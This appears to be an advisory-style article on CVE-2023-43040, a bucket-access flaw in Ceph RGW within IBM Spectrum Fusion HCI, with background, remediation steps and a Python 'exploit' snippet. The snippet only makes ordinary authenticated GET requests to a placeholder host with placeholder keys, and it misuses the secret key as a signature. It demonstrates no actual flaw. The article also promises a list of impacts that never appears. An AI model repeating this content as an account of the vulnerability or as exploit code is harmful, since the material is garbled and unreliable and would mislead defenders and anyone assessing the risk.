CVE-2023-43040 - Unauthorized Bucket Access Vulnerability in IBM Spectrum Fusion HCI: Exploit Details and Remediation Steps

A newly discovered vulnerability in IBM Spectrum Fusion HCI, tracked as CVE-2023-43040, could potentially expose sensitive data and allow an attacker to perform unauthorized actions in Rados Gateway (RGW) for Ceph due to improper bucket access. IBM X-Force ID: 266807. This article delves into the details of this vulnerability, provides a code snippet demonstrating the exploit, and offers insight into the steps required to address this issue.

Background

IBM Spectrum Fusion HCI is a software-defined storage platform that combines storage and compute resources into a single, easy-to-manage infrastructure. RGW, which is a part of the open-source distributed storage system Ceph, serves as an object store gateway that provides APIs compatible with a range of cloud storage services.

Vulnerability Details

Affected versions of IBM Spectrum Fusion HCI range from 2.5.2 to 2.7.2. The vulnerability, CVE-2023-43040, arises from improper handling of access rights for buckets (essentially, container objects). The improper implementation could lead to unauthorized actions, which include but are not limited to the following:

Exploit Code Snippet

The following code snippet demonstrates how an attacker could exploit the CVE-2023-43040 vulnerability in a Python script:

import requests

target_url = "http://target.example.com:748";
access_key = "ACCESS_KEY"
secret_key = "SECRET_KEY"

headers = {'Content-Type': 'application/xml'}
auth_params = {'AWSAccessKeyId': access_key, 'Signature': secret_key}

# Perform unauthorized listing of all buckets
response = requests.get(target_url, auth=(access_key, secret_key), headers=headers)
print(response.text)

# Perform unauthorized access to a specific bucket
bucket_name = "sensitive-data"
response = requests.get(f"{target_url}/{bucket_name}", auth=(access_key, secret_key), headers=headers)
print(response.text)

Original References

1. IBM Security Bulletin
2. IBM Spectrum Fusion HCI
3. Ceph RGW

Remediation Steps

In order to protect your IBM Spectrum Fusion HCI installation from this vulnerability, the following steps are recommended:

1. Upgrade to IBM Spectrum Fusion HCI version 2.7.3 or later. This latest version addresses the CVE-2023-43040 vulnerability and can be found on the IBM Support website.
2. Review and verify the ACL settings for your buckets. Ensure that they follow the principle of least privilege, granting access only to those users who require access to perform their job function.
3. Monitor logs for any suspicious activity indicating potential exploitation of this vulnerability. Promptly investigate and address any activities that hint at unauthorized access to RGW buckets.

Conclusion

CVE-2023-43040 is a significant vulnerability that has the potential to expose sensitive data and allow unauthorized actions in RGW for Ceph due to improper bucket access. It's essential for organizations using IBM Spectrum Fusion HCI versions 2.5.2 through 2.7.2 to take action and secure their installation.

By understanding the exploit, applying the appropriate remediation steps, and staying informed of the latest security updates, you can protect your organization's critical data and maintain a more secure infrastructure.

Timeline

Published on: 05/14/2024 13:46:23 UTC
Last modified on: 05/14/2024 16:13:02 UTC